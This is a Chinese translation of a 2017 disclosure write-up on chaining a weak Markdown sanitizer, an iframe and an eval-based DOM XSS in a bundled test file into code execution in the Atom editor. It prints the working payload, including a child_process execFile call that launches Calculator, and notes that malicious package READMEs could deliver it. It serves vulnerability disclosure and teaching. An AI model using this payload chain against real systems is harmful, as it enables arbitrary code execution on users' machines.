【技术分享】如何利用Atom中的安全问题实现远程代码执行
作者:admin | 时间:2017-11-24 02:10:59 | 分类:黑客技术 隐藏侧边栏展开侧边栏
写在前面的话
近期,我对GitHub所使用的文本编辑器-Atom进行了分析,并成功地在Atom中找到了多个安全漏洞。通过研究之后,我成功地利用这些漏洞实现了远程代码执行。
当我将漏洞信息通过HackerOne上报给Atom的开发团队之后,这些漏洞已经在2017年10月12日发布的Atom v1.21.1中得到了修复。如果你想复现漏洞的话,可以参考GitHub上发布的旧版本代码【传送门】。
Web安全问题影响了桌面端App
Atom是基于Electron开发的,而Electron是一款用于开发桌面应用的跨平台框架,该框架使用的语言是JavaScript、HTML和CSS。
但是,这种框架也将某些常见的Web端安全问题带到了桌面端应用的身上,我们这里所指的安全问题就是跨站脚本漏洞(XSS)。由于整个应用程序的逻辑是基于JavaScript实现的,而一个跨站脚本漏洞就有可能导致攻击者实现任意代码执行。毕竟对于一款基于JavaScript实现的应用来说,攻击者能做到的跟开发者所能做的其实是差不多的。
当然了,我们也有很多方法来缓解Electron中的跨站脚本漏洞所带来的影响,但如果这些安全解决方案部署不当的话,它们还是有可能会被攻击者轻松绕过的。
使用内容安全策略缓解XSS
在开始分析漏洞之前,我们先来看一看GitHub是如何缓解Atom中的XSS问题的。没错,GitHub使用的就是内容安全策略(CSP)。如果你分析过Atom中index.html文件的代码的话,你将会看到如下所示的部署策略:
1
2
3
4
5
6
7
8
|
<!DOCTYPE html>
< html >
< head >
< meta http-equiv = "Content-Security-Policy" content = "default-src * atom://*; img-src blob: data: * atom://*; script-src 'self' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; media-src blob: data: mediastream: * atom://*;" >
< script src = "index.js" ></ script >
</ head >
< body tabindex = "-1" ></ body >
</ html >
|
注意上述代码中的script-src 'self' 'unsafe-eval',即它允许同源的JavaScript以及使用eval()构建的代码运行,但是禁止任何内联JavaScript运行。
简而言之,在下面给出的样例中,只有“index.js”中的JavaScript代码可以被执行,而alert(1)无法执行,因为它属于内联JavaScript:
1
2
3
4
5
6
7
8
9
10
|
<!DOCTYPE html>
< html >
< head >
< meta http-equiv = "Content-Security-Policy" content = "default-src * atom://*; img-src blob: data: * atom://*; script-src 'self' 'unsafe-eval'; style-src 'self' 'unsafe-inline'; media-src blob: data: mediastream: * atom://*;" >
</ head >
<!-- Following line will be executed since it is JS embedded from the same origin -->
< script src = "index.js" ></ script >
<!-- Following line will not be executed since it is inline JavaScript -->
< script >alert(1)</ script >
</ html >
|
Atom如何解析Markdown文件?
在面对某些包含解析器或者预览功能的软件时,多花一些时间去研究相关组件往往会给我们带来意想不到的收获。在绝大多数场景中,软件的解析库一般都是使用某些第三方组件实现的,而且在实现这些组件的时候或多或少都会存在不同的安全问题。而组件的开发者跟使用者所想的也有可能不一样,比如说,开发者会假设提供给代码库的肯定是受信数据,而使用者可能会认为代码库会对不安全的数据进行过滤处理,这样也就导致了安全漏洞的产生。
所以,我首先要做的就是对Atom解析Markdown文件的过程进行分析,跟该组件相关的代码可以在GitHub的atom/markdown-preview找到。很快我便发现,Markdown解析器似乎还可以解析任意HTML文档:
接下来,我尝试注入了一段简单的JavaScript代码来判断Markdown代码库是否会过滤掉JavaScript代码。虽然内容安全策略在这里可以防止代码运行,但我这里只是想确认代码库是否实现了最基本的数据过滤(清洗)功能。事实证明,这里真的有...请大家看下面这张截图,其中的script语句没有显示在DOM之中:
在进行了简单的信息搜索之后,我发现“GitHub能够解析任意HTML文档”的这种功能实际上是他们故意这样设计的。因此,Markdown代码库才引入了这种数据清洗模式(一种自定义的数据过滤功能):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
sanitize = (html) ->
o = cheerio.load(html)
o('script').remove()
attributesToRemove = [
'onabort'
'onblur'
'onchange'
'onclick'
'ondbclick'
'onerror'
'onfocus'
'onkeydown'
'onkeypress'
'onkeyup'
'onload'
'onmousedown'
'onmousemove'
'onmouseover'
'onmouseout'
'onmouseup'
'onreset'
'onresize'
'onscroll'
'onselect'
'onsubmit'
'onunload'
]
o('*').removeAttr(attribute) for attribute in attributesToRemove
o.html()
|
虽然这种数据过滤功能的保护性非常的弱,但我们不能使用on-listener(例如onClickListener)来绕过它,因为它可能会触发内容安全策略,这将导致恶意Payload无法被执行。
但是,我们可以注入其他类型的HTML Payload,我们先认真看一看之前那张屏幕截图:
很明显,Atom是以协议file://执行的,那如果我们创建一个恶意HTML文件并将其嵌入在本地文件之中呢?如果可以的话,该文件将会被视作是Electron的本地文件所提供的(符合同源策略),因此我们的JavaScript代码将会被执行。
所以我在主文件夹中创建了一个名叫hacked.html的文件,文件内容如下所示:
1
2
3
|
<script>
alert(1);
</script>
|
接下来,我只需要在Markdown文档中使用一个iframe标签即可成功触发JavaScript代码:
配合本地DOM XSS
但是我现在还无法执行任意JavaScript代码,因为还有一个问题没解决:即漏洞的利用需要大量的用户交互:
1. 用户需要主动打开恶意的Markdown文档;
2. 用户需要打开Markdown文档的预览窗口;
3. 恶意Markdown文档还需要另一个包含恶意JavaScript代码的本地HTML文件存在;
而在真实的场景中,上述条件就显得有些牵强了。但是,如果我们能找到某个本地文件中存在DOM XSS漏洞的话,不就可以了吗?而这种情况更加适用于真实场景下的漏洞利用过程。
所以,我打算对Atom所绑定的HTML文件进行分析。幸运的是,在macOS系统中,应用程序本身就是一堆代码和文件。所以我们可以直接在/Applications/Atom.app/Contents目录中访问Atom bundle:
快速搜索bundle中的HTML文件后,我们得到了以下相关文件:
1
2
3
4
5
6
7
8
9
|
➜ Contents find . -iname "*.html"
. /Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/index .html
. /Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/__root__/index .html
. /Resources/app/apm/node_modules/mute-stream/coverage/lcov-report/__root__/mute .js.html
. /Resources/app/apm/node_modules/clone/test-apart-ctx .html
. /Resources/app/apm/node_modules/clone/test .html
. /Resources/app/apm/node_modules/colors/example .html
. /Resources/app/apm/node_modules/npm/node_modules/request/node_modules/http-signature/node_modules/sshpk/node_modules/jsbn/example .html
. /Resources/app/apm/node_modules/jsbn/example .html
|
现在,你就可以使用静态分析技术来分析这些HTML文件了,不过你也可以进行手动分析。由于工作量不大,所以我选择进行手动分析,而文件/Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html看起来似乎很有意思:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
< html >
< head >
< meta charset = "utf-8" >
< title >Clone Test-Suite (Browser)</ title >
</ head >
< body >
< script >
var data = document.location.search.substr(1).split('&');
try {
ctx = parent[data[0]];
eval(decodeURIComponent(data[1]));
window.results = results;
} catch(e) {
var extra = '';
if (e.name == 'SecurityError')
extra = 'This test suite needs to be run on an http server.';
alert('Apart Context iFrame Error\n' + e + '\n\n' + extra);
throw e;
}
</ script >
</ body >
</ html >
|
在document.location.search调用了eval(),而Atom的内容安全策略允许使用eval语句,因此我们只需要使用类似下面的这种语句就能够触发一个对话弹窗:
1
|
file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&alert(1)
|
实际上,我们只需要下面这种Markdown文档就能够执行任意JavaScript代码了:
1
|
< iframe src = "file:///Applications/Atom.app/Contents/Resources/app/apm/node_modules/clone/test-apart-ctx.html?foo&alert(1)" ></ iframe >
|
执行任意本地代码
正如我们之前所提到的,在一个Electron应用中执行恶意JavaScript代码也就意味着实现本地代码执行。在我们的分析场景中,最简单的实现方法就是访问window.top对象,然后使用NodeJS的require函数来访问child_process模块。下面给出的JavaScript代码将能够打开macOS的计算器程序:
1
2
3
|
< script type = "text/javascript" >
window.top.require('child_process').execFile('/Applications/Calculator.app/Contents/MacOS/Calculator',function(){});
</ script >
|
刚才的漏洞利用代码经过URL编码后,形式如下:
1
|
|
打开恶意Markdown文档之后,Calculator.app将会运行:
远程实现所有操作
虽然我们刚才介绍的方法可以让Atom中的这些安全问题更加容易被攻击者所利用,但是它仍然需要目标用户手动打开攻击者所提供的恶意Markdown文档。不过需要注意的是,Atom能够呈现Markdown文档内容的地方可不止这一个。
通过使用grep搜索了Atom的源代码之后,我们发现其实还有一个模块能够解析Markdown文件,即Atom设置:atom/settings-view。实际上,这个模块所采用的数据清洗方法也同样存在安全问题:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
const ATTRIBUTES_TO_REMOVE = [
'onabort',
'onblur',
'onchange',
'onclick',
'ondbclick',
'onerror',
'onfocus',
'onkeydown',
'onkeypress',
'onkeyup',
'onload',
'onmousedown',
'onmousemove',
'onmouseover',
'onmouseout',
'onmouseup',
'onreset',
'onresize',
'onscroll',
'onselect',
'onsubmit',
'onunload'
]
function sanitize (html) {
const temporaryContainer = document.createElement('div')
temporaryContainer.innerHTML = html
for (const script of temporaryContainer.querySelectorAll('script')) {
script.remove()
}
for (const element of temporaryContainer.querySelectorAll('*')) {
for (const attribute of ATTRIBUTES_TO_REMOVE) {
element.removeAttribute(attribute)
}
}
for (const checkbox of temporaryContainer.querySelectorAll('input[type="checkbox"]')) {
checkbox.setAttribute('disabled', true)
}
return temporaryContainer.innerHTML
}
|
实际上,Markdown的解析器同样会受到这些安全问题的影响,而且受影响程度也比较严重。
Atom还支持所谓的第三方“Packages”(包),这些代码包基本上都是社区提供的,可以从atom.io/packages获取。而这些包能够以Markdown格式定义README文档,而文档的内容将会在Atom设置窗口中呈现给用户。
因此,恶意攻击者只需要注册一大堆恶意包(包名可以跟现有的第三方包名类似),只要目标用户点击了这个包名(无需进行安装),那么嵌入在README文档中的恶意代码就能够被触发并执行。
GitHub如何修复这个问题?
我们在跟GitHub的开发人员进行了一系列探讨之后,最终得出了以下的漏洞修复策略:
1. 从bundle中删除一些不必要的HTML文件。
2. 使用DOMPurify来对Markdown文档的内容进行数据过滤。
虽然这种解决方案并不算十分完美,但是对于目前来讲也已经足够有效了。与此同时,GitHub也准备使用一种更加严格的Markdown解析器,但是这很有可能会影响很多现存用户的工作流程。
本文由 安全客 翻译,作者:WisFree
原文链接:https://statuscode.ch/2017/11/from-markdown-to-rce-in-atom/